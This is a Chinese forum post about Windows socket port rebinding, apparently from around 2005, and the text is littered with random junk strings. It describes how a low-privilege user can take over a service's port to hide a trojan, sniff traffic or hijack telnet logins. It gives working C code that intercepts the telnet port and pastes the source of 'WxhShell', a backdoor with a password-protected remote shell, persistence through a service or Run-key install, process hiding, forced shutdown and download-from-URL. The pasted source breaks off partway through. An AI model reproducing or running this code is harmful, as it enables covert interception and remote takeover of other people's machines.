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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W2cgxT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MNd8#01q`  
2\Bt~;EIx  
  saddr.sin_family = AF_INET; bV c"'RQ  
&L6xagR7M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d$.t0-lC  
;s{k32e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~nO]R   
('k;Ikut  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <j CD^  
<NRW^#g<x  
  这意味着什么?意味着可以进行如下的攻击: P X/{  
5WJof`M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?Pg{nlJvq  
PNVYW?l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) anLSD/'4W  
ZH6#(;b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4rkj$  
1=Npq=d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +pDZ,c,  
pxC:VJ;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3i1e1Lj1  
l0AVyA4RFV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <_XyHb-  
JG6"5::  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cTlitf9  
`-Yo$b;:  
  #include z*,P^K 0T  
  #include 2^Y@e=^A  
  #include AcC'hr.N+  
  #include    D}4*Il?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d@-s_gw  
  int main() xF|P6GXg  
  { *\W *,D.I  
  WORD wVersionRequested; 4rX jso|  
  DWORD ret; 66RqjP '2  
  WSADATA wsaData; |S0]qt?  
  BOOL val; w]2tb  
  SOCKADDR_IN saddr; q]PeS~PjF\  
  SOCKADDR_IN scaddr; gZkjh{rQ  
  int err; r(qAe{  
  SOCKET s; d3% 1 P)  
  SOCKET sc; E1'| ;}/  
  int caddsize; +%Y`>1I^#  
  HANDLE mt; uh,~Cv XU]  
  DWORD tid;   p\xi5z  
  wVersionRequested = MAKEWORD( 2, 2 ); h$\+r<  
  err = WSAStartup( wVersionRequested, &wsaData ); IC5[:UZ5]  
  if ( err != 0 ) { 9hoTxWpmy  
  printf("error!WSAStartup failed!\n"); x.gRTR`7(  
  return -1; M? 7CBqZ  
  } 8&d s  
  saddr.sin_family = AF_INET; f~bZTf  
   <hG] f%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #L,>)XkjS  
rID_^g_tP8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a3i;r M2  
  saddr.sin_port = htons(23); ~Ey)9phZK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VE_%/Fs,  
  { "XvM1G&s`  
  printf("error!socket failed!\n"); X0G Mly  
  return -1; fK-tvP0}*  
  } "v%|&@  
  val = TRUE; R 2.y=P8N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XLG6f(B=F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ed&;d+NM  
  { W=Y?_Oz  
  printf("error!setsockopt failed!\n"); -s ]  
  return -1; JQ9JWu%a  
  } "l83O8 L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2y_R05O0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M{sn{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y@&1[Z  
{R5{v6m_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X{8/]'(  
  { '3n?1x  
  ret=GetLastError(); Z{' .fq2A  
  printf("error!bind failed!\n"); W.nQYH  
  return -1; bKAR}JM&  
  } 6x6xv:\  
  listen(s,2); c UJUZ@ol  
  while(1) 6LVJ*sjSy  
  { a?^xEye  
  caddsize = sizeof(scaddr); =aL=SC+  
  //接受连接请求 .W[[Z;D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l8O12  
  if(sc!=INVALID_SOCKET) ,2*^G;J1  
  { L\O}q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >9?BJv2  
  if(mt==NULL) y[L7=Td  
  { K/^70;/!.  
  printf("Thread Creat Failed!\n"); d5b \kRr  
  break; 4tZnYGvqe  
  } (YOp  
  } K9-?7X  
  CloseHandle(mt); 0u,OW  
  } r$=YhI/=  
  closesocket(s); J~\`8cds  
  WSACleanup(); fi/[(RBG  
  return 0; @|7Ma/8v  
  }   hvc%6A\nm  
  DWORD WINAPI ClientThread(LPVOID lpParam) }Y{aVn&C  
  { ZD)pdNX  
  SOCKET ss = (SOCKET)lpParam; k3:8T#N>!O  
  SOCKET sc; @(;zU~l/  
  unsigned char buf[4096]; fJjtrvNy)  
  SOCKADDR_IN saddr; t&GjW6]W  
  long num; ch^tq",1>  
  DWORD val; ;,z[|"y  
  DWORD ret;  xr }jw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $d@_R^]X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'Fe1]B"Y  
  saddr.sin_family = AF_INET; s :4<wmu4=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hM": ?Rx  
  saddr.sin_port = htons(23); W0++q=F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AX {~A:B  
  { \5k^zGF4o  
  printf("error!socket failed!\n"); k!%[W,*  
  return -1; <%@S-+D`]  
  } e~wuoE:M3  
  val = 100; d;Uzl 1;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pO2Y'1*  
  { aP%& -W$D|  
  ret = GetLastError(); ZO`{t1   
  return -1; @D<KG  
  } e-}b]\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i]qVT)j  
  { ;k<n}shD  
  ret = GetLastError(); Hg~O0p}[  
  return -1; t1y hU"(J  
  } 319 &:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L}>XH*  
  { im}=  
  printf("error!socket connect failed!\n"); 6b-j  
  closesocket(sc); )$h<9e  
  closesocket(ss); A;pVi;7  
  return -1; ]#UyYgPk  
  } wEMh !jAbv  
  while(1) $#bgt   
  { #U46Au  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c[/h7!/aH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k8]uy2R6}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NlBnV  
  num = recv(ss,buf,4096,0); 9c /&+j  
  if(num>0) \xQ10\u  
  send(sc,buf,num,0); 0K0[mC}ZwM  
  else if(num==0) /& qN yo  
  break; f*+eu @  
  num = recv(sc,buf,4096,0); h{dR)#)GF<  
  if(num>0) QasUgZ  
  send(ss,buf,num,0); N*k`'T  
  else if(num==0) z[7j`J|Kk  
  break; Z#n!=k TTm  
  } }~Am{Er <l  
  closesocket(ss); 8z?q4  
  closesocket(sc); ?5%0zMC  
  return 0 ; oZ)\Ya=  
  } XT n`$}nz  
^>g7Kg"0  
|{KZ<  
========================================================== ,ZVC@P,L  
z}Qt6na]-  
下边附上一个代码,,WXhSHELL i[gq8%  
fvW7a8k3  
========================================================== gtcU'4~  
}d,iA FG  
#include "stdafx.h" FfDe&/,/  
*AO^oBeY  
#include <stdio.h> Ol}^'7H  
#include <string.h> 1NP(3yt%  
#include <windows.h> 1:.0^?Gz  
#include <winsock2.h> F2;k6M@  
#include <winsvc.h> '>GZB  
#include <urlmon.h> L_>j SP  
LK "47  
#pragma comment (lib, "Ws2_32.lib") IX!Q X  
#pragma comment (lib, "urlmon.lib") g$qNK`y  
SA5 g~{"  
#define MAX_USER   100 // 最大客户端连接数 De^GWO.?bT  
#define BUF_SOCK   200 // sock buffer kW v)+  
#define KEY_BUFF   255 // 输入 buffer O23dtH  
e}Y|' bG  
#define REBOOT     0   // 重启 t%<@k)hd~G  
#define SHUTDOWN   1   // 关机 <i~MBy. (  
MX=mGfoa  
#define DEF_PORT   5000 // 监听端口 XO*|P\#^  
qusX]Tst z  
#define REG_LEN     16   // 注册表键长度 7=YjY)6r^  
#define SVC_LEN     80   // NT服务名长度 W9!EjXg  
%;SOe9  
// 从dll定义API G~oGBq6Gz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MroJ!.9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vd@ _LcK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ryd*Ha">I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {x3"/sF  
~^U(GAs  
// wxhshell配置信息 4M)  s  
struct WSCFG { 9-<EeV_/  
  int ws_port;         // 监听端口 }Q7 ~tu  
  char ws_passstr[REG_LEN]; // 口令 Et\z^y  
  int ws_autoins;       // 安装标记, 1=yes 0=no e 1W9Z $m  
  char ws_regname[REG_LEN]; // 注册表键名 F_m[EB  
  char ws_svcname[REG_LEN]; // 服务名 g~5$X{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 93z oJiLRf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _N4G[jQLJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZDVz+L|p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GqFDN],Wp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,tdV-9N[O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UjNe0jt% s  
Ppw0vaJ^  
}; _m;#+`E  
#q7`"E=M"  
// default Wxhshell configuration /cPe zX  
struct WSCFG wscfg={DEF_PORT, :G&tM   
    "xuhuanlingzhe", d" T">Og)  
    1, "3kIQsD|j  
    "Wxhshell", }i32  
    "Wxhshell", HPGMR4=ANS  
            "WxhShell Service", o% ZtE  
    "Wrsky Windows CmdShell Service", .OLm{  
    "Please Input Your Password: ", kaSy 9Y{  
  1, &E0d{ 2  
  "http://www.wrsky.com/wxhshell.exe", 3},0b8};  
  "Wxhshell.exe" !J3dlUFRO  
    }; HZp}<7NR(7  
,KXS6:1%5Y  
// 消息定义模块 )aW;w|#n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }O_kbPNw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K{eq'F5M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7Eo a~  
char *msg_ws_ext="\n\rExit."; +,`Cv_O  
char *msg_ws_end="\n\rQuit."; -L;sv0  
char *msg_ws_boot="\n\rReboot..."; D0'L  
char *msg_ws_poff="\n\rShutdown..."; t5r,3x!E  
char *msg_ws_down="\n\rSave to "; Fa}3UVm  
M2UF3xD   
char *msg_ws_err="\n\rErr!"; jf_xm=n  
char *msg_ws_ok="\n\rOK!"; W\JbX<mQ  
s-V5\Lip,  
char ExeFile[MAX_PATH]; 89*txYmx  
int nUser = 0; RAw/Q$I  
HANDLE handles[MAX_USER]; idWYpU>gC  
int OsIsNt; Ks|qJ3;  
DnbT<oEL  
SERVICE_STATUS       serviceStatus; [If%+mHdU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -;5WMX 6  
/U |@sw4  
// 函数声明 5)g6yV'  
int Install(void); :VP*\K/:  
int Uninstall(void); ao2NwH##  
int DownloadFile(char *sURL, SOCKET wsh); ~>h_#sIBC  
int Boot(int flag); "E4;M/  
void HideProc(void); !j'9>G{T  
int GetOsVer(void); > /,7j:X  
int Wxhshell(SOCKET wsl); C&Nga `J  
void TalkWithClient(void *cs); |"4+~z%/9!  
int CmdShell(SOCKET sock); R>BZQugZ~  
int StartFromService(void); QU4/hS;Ux  
int StartWxhshell(LPSTR lpCmdLine); cg16|  
qmNgEz%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,(h:0L2v7d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8Z YF%  
KI* erK [d  
// 数据结构和表定义 q J)[2:.G  
SERVICE_TABLE_ENTRY DispatchTable[] = ELh`|X  
{ PL;PId<9w  
{wscfg.ws_svcname, NTServiceMain}, XH9Y|FX%#  
{NULL, NULL} :bJT2o[  
}; ;?-A 4!V,  
+;Yd<~!c Z  
// 自我安装 <g/Z(<{wor  
int Install(void) y~,mIM$[@  
{ >LvQ&fAo  
  char svExeFile[MAX_PATH]; (o+(YV^  
  HKEY key; 6Vr:?TI7  
  strcpy(svExeFile,ExeFile); |?zFm mh  
tOQ2947zk  
// 如果是win9x系统,修改注册表设为自启动 2~yYwX  
if(!OsIsNt) { R#D>m8&}3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CC?L~/gPN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {s]yP_  
  RegCloseKey(key); ${(c `X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k!9LJ%Xh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AoL2Wrk]\B  
  RegCloseKey(key); +M@,CbqD  
  return 0; H0!W:cIS;l  
    } ;,d^=:S6@  
  } F+%6?2 J  
} x4b.^5"`:  
else { (jR7D"I  
"])yV    
// 如果是NT以上系统,安装为系统服务 6V[ce4a%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \^l273  
if (schSCManager!=0) I_QWdxn  
{ qfRsp rRI"  
  SC_HANDLE schService = CreateService 2)_Zz~P^f  
  ( IP#w  
  schSCManager, X\\c=[#8-  
  wscfg.ws_svcname, 0keqtr  
  wscfg.ws_svcdisp, 28/At  
  SERVICE_ALL_ACCESS, J|$(O$hYy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2[^p6s[  
  SERVICE_AUTO_START, : `Nh}Ka0  
  SERVICE_ERROR_NORMAL, Zo=w8Hr  
  svExeFile, O,$ ?Pj6  
  NULL, bl/tl_.p00  
  NULL, y(^hlX6gQ  
  NULL, UbWeE,T~S  
  NULL, bSK> p3  
  NULL %Z:07|57I[  
  ); u\)2/~<]  
  if (schService!=0) ,CGq_>Z  
  { \J]qd4tF  
  CloseServiceHandle(schService); }"QV{W  
  CloseServiceHandle(schSCManager); EbG`q!C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G@Jl4iHug"  
  strcat(svExeFile,wscfg.ws_svcname); [I XX#^F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S,I|8 YE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `E@TPdu  
  RegCloseKey(key); Ub>Pl,~'  
  return 0; hxt,%al  
    } g}uVuK;<  
  } UKfC!YR2J8  
  CloseServiceHandle(schSCManager); dV~d60jOF  
} y{Fq'w!ap  
} d9@Pze">e  
<1^\,cI2  
return 1; qD#E, "%  
} DK\Ud6w  
*x0nAo_n  
// 自我卸载 ^@"H(1Hxu/  
int Uninstall(void) MQ~OG9.  
{ n]K`ofjl^  
  HKEY key; \A~r~  
}DCR(p rD  
if(!OsIsNt) { D%WgE&wtM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mVSaC  
  RegDeleteValue(key,wscfg.ws_regname); Or({|S9d2  
  RegCloseKey(key); {? a@UUvC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @bkZ< Gq  
  RegDeleteValue(key,wscfg.ws_regname); {[ E7Cf  
  RegCloseKey(key); ;usv/8  
  return 0; LTof$4s  
  } +Jf4 5[D   
} Oo)MxYPU  
} -GqMis}c  
else { @i" ^b  
t;>"V.F<1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  4E"OD+  
if (schSCManager!=0) yf lt2 R  
{ bwr}Ge  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7Ud  
  if (schService!=0) G $P|F6  
  { (Lp$EC&%6  
  if(DeleteService(schService)!=0) { UNoNsmP  
  CloseServiceHandle(schService); #3+-vyZm  
  CloseServiceHandle(schSCManager); z?b[ 6DLV;  
  return 0; )bl'' yO  
  } {6/Yu: ;  
  CloseServiceHandle(schService); *E"OQsIl  
  } 4ONou&T  
  CloseServiceHandle(schSCManager); $@VQ{S  
} BGe&c,feIc  
} ! u4'1jd[d  
Vk3xWD~  
return 1; "Z\^dR  
} `1 tD&te0  
xs'vd:l.Pp  
// 从指定url下载文件 h 8ND=(  
int DownloadFile(char *sURL, SOCKET wsh) !BQ:R(w  
{ )/B' ODa  
  HRESULT hr; hwon ^?  
char seps[]= "/"; 2O*(F>>dT  
char *token; FHoY=fCI  
char *file; b `TA2h  
char myURL[MAX_PATH]; Q\!0V@$  
char myFILE[MAX_PATH]; UNc[h&@_  
H&yK{0H  
strcpy(myURL,sURL); ec$kcD!  
  token=strtok(myURL,seps); x|TLMu=3=  
  while(token!=NULL) qh40nqS;9  
  { L_k'r\L  
    file=token; =Nc}XFq  
  token=strtok(NULL,seps); >f !  
  } 0-N"_1k|?  
;:^^Qfp  
GetCurrentDirectory(MAX_PATH,myFILE); *8a8Ng  
strcat(myFILE, "\\"); H*h7Y*([  
strcat(myFILE, file); +OM9v3qJ  
  send(wsh,myFILE,strlen(myFILE),0); 5LIbHSK  
send(wsh,"...",3,0); gM5`UH|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e 1 yvvi  
  if(hr==S_OK) (F wWyt  
return 0; u>YC4&  
else K]<49`MX  
return 1; t9!8Bh<  
*h H\H  
} +V N&kCx)  
4ox[,  
// 系统电源模块 &B;M.sz~C4  
int Boot(int flag) *k(|r>  
{ L^7"I 4=(D  
  HANDLE hToken; sfN6ro  
  TOKEN_PRIVILEGES tkp; IPIas$  
7Zf * T  
  if(OsIsNt) {  4dd]Ju  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t:SME'~.P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &' 0|U{|  
    tkp.PrivilegeCount = 1; d/m.VnW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IwR/4LYI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #y?iUv  
if(flag==REBOOT) { 'JjW5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q&X#( 3&'  
  return 0; !:N&tuJEv  
} hm&cRehU  
else { F/QRgXV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @5C!`:f  
  return 0; k3w(KH @  
} 5 wT e?  
  } pc=f,  
  else { yLDv/r  
if(flag==REBOOT) { @u.%z# h"1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7a0kat '\  
  return 0; Q#Vg5H4  
} +im>|  
else { ZbZCW:8>k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zS6oz=  
  return 0; HZ+l){u  
} -/7[\S  
} XITh_S4fs=  
SGp}(j>  
return 1; Q)$RE{*-  
} 15 /lX  
\QZ~w_  
// win9x进程隐藏模块 qrK\f  
void HideProc(void) y\M Kd[G7  
{ ?Tr]zxtd  
.}O _5b(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9k`}fk\M  
  if ( hKernel != NULL ) _T{ "F  
  { "6<L) 8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :O~*}7G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jw b'5[R  
    FreeLibrary(hKernel); >[D(<b(U&  
  }  V/8"@C  
DUAI  
return; _!} L\E~  
} !97k  
TrEo5H;  
// 获取操作系统版本 uE]kv  
int GetOsVer(void) t@Bl3Nt{  
{ ZliJc7lss  
  OSVERSIONINFO winfo; `L=d72:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [@PD[-2QG3  
  GetVersionEx(&winfo); >,&@j,?']  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o-f;$]yp>  
  return 1; ==?!z<I.d  
  else | k:ecw  
  return 0; bRhc8#kw)  
} He}uE0^  
p:/#nmC<  
// 客户端句柄模块 &Oxf^x["]  
int Wxhshell(SOCKET wsl) 3om_Z/k  
{ ZITic&>W  
  SOCKET wsh; nc.(bb),  
  struct sockaddr_in client; qpCNvhi  
  DWORD myID; ]m(C}}  
CHojF+e  
  while(nUser<MAX_USER) I_k!'zR[N  
{ cu~\&3 R  
  int nSize=sizeof(client); [ljC S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {wNNp't7  
  if(wsh==INVALID_SOCKET) return 1; \%! t2=J!  
}=fVO<R v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wt,t5  
if(handles[nUser]==0) #AN]mH  
  closesocket(wsh); jk\04k  
else NO%x 2dx0  
  nUser++; ?}tWI7KI  
  } L  (#DVF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A'=,q  
h,(f3Ik0O  
  return 0; ;L{#TC(]J]  
} Wj}PtQ%lp/  
|RA|nu   
// 关闭 socket &-h z&/A,  
void CloseIt(SOCKET wsh) >B~vE2^tQ~  
{ ?: XY3!{  
closesocket(wsh); ylo/]pVs  
nUser--; @7fx0I'n  
ExitThread(0); f-BEfC,}'  
} UgBD| ~zu  
@_L:W1[  
// 客户端请求句柄 q"uP%TN  
void TalkWithClient(void *cs) RY4b <i3  
{ &W|r P(  
9eh9@~mU"l  
  SOCKET wsh=(SOCKET)cs; Xe J|Z)qZ  
  char pwd[SVC_LEN]; `-J$7)d@  
  char cmd[KEY_BUFF]; mx ]a@tu  
char chr[1]; jO9w7u6  
int i,j; ku&m)'  
'cpO"d?{  
  while (nUser < MAX_USER) { -<jd/ 5  
DJGq=*  
if(wscfg.ws_passstr) { v Wt{kg;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @}r2xY1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8e:\T.)M  
  //ZeroMemory(pwd,KEY_BUFF); _Dv<  
      i=0; dm+}nQI \  
  while(i<SVC_LEN) { @#?w>38y  
J:  T  
  // 设置超时 | WN9&  
  fd_set FdRead; *}n)KK7aT  
  struct timeval TimeOut; @S>$y5if  
  FD_ZERO(&FdRead); n1mqe*Mvs/  
  FD_SET(wsh,&FdRead); ?;c&5'7ct  
  TimeOut.tv_sec=8; <8SRt-Cr  
  TimeOut.tv_usec=0; KVC$o+<'`%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |rhCQ"H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )= :gO`"D  
8!!iwmH{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M.(shIu!+  
  pwd=chr[0]; 5IsRIz[`TK  
  if(chr[0]==0xd || chr[0]==0xa) { N)&(&2  
  pwd=0; ,;)1|-^nu  
  break; r{Stsha(  
  } *GMs>" C  
  i++; V.f'Cw  
    } }Efz+>F 02  
-y+u0,=p.  
  // 如果是非法用户,关闭 socket &E{i#r)'T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >.fN@8[  
} sA}Xha  
[:MpOl-KIz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |9D;2N(&!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +=qazE<:0  
fK'qc L  
while(1) { 2 ~zo)G0  
gEBwn2  
  ZeroMemory(cmd,KEY_BUFF); I {o\d'/  
w2mLL?P  
      // 自动支持客户端 telnet标准   7H=^~J  
  j=0; 7ql&UIeQ  
  while(j<KEY_BUFF) { Q~L"Mr8>V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Qc_]CWYH  
  cmd[j]=chr[0]; 9W~3E^x  
  if(chr[0]==0xa || chr[0]==0xd) { Kr*s]O  
  cmd[j]=0; ] SErM#$*  
  break; |iJ+e -_R  
  } !8#!P  
  j++; qU/,&C  
    } sY#iGEf  
:M%s:,]R  
  // 下载文件 hny):59f  
  if(strstr(cmd,"http://")) { 'B$ bGQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vcsMU|GGh  
  if(DownloadFile(cmd,wsh)) @6~OQN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T 5jZd@VT,  
  else +EnJyli  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,XZ[L? >  
  } BUozpqN}  
  else { YnCWmlC  
7T)J{:+0!|  
    switch(cmd[0]) { pKM5<1J  
  w ,CZ*/^  
  // 帮助 CL U[')H0  
  case '?': { ,iUYsY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }: W6Bo-|  
    break;  FsbX{  
  } nKoc%TNqe  
  // 安装 j+p=ik  
  case 'i': { XP$1CWI  
    if(Install()) SLiQHWw*J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Y2d!9F}Sa  
    else :e&P's=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n<x NE %  
    break; 8+b ?/Rn0  
    } >H ,t^i}@  
  // 卸载 i n^Rf` "  
  case 'r': { gXR1nnK  
    if(Uninstall()) %mda=%Yn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x7s75  
    else $jDp ^ -  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ?2g\y@  
    break; !7:~"kk  
    } pFu3FUO*;  
  // 显示 wxhshell 所在路径 mxpncM=q  
  case 'p': { ZA;wv+hF=  
    char svExeFile[MAX_PATH]; o~Im5j],*  
    strcpy(svExeFile,"\n\r"); mh4NZ @;  
      strcat(svExeFile,ExeFile); #hBDOXHPf  
        send(wsh,svExeFile,strlen(svExeFile),0); W .c:Pulg  
    break; /FZ@Z]Q0G  
    } z]NN ^pIa  
  // 重启 y3 {om^ f  
  case 'b': { quB .A7~^=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CVi3nS5Yl  
    if(Boot(REBOOT)) ;tR,w   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D [#1~M  
    else { qYMTud[Vf  
    closesocket(wsh); A3UC=z<y  
    ExitThread(0); iG[an*#X  
    } JvHGu&Nr!  
    break; y`~[R7E  
    } ((U-JeFW   
  // 关机 ypuW}H%`  
  case 'd': { +^c;4-X 0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); | Wrf|%p  
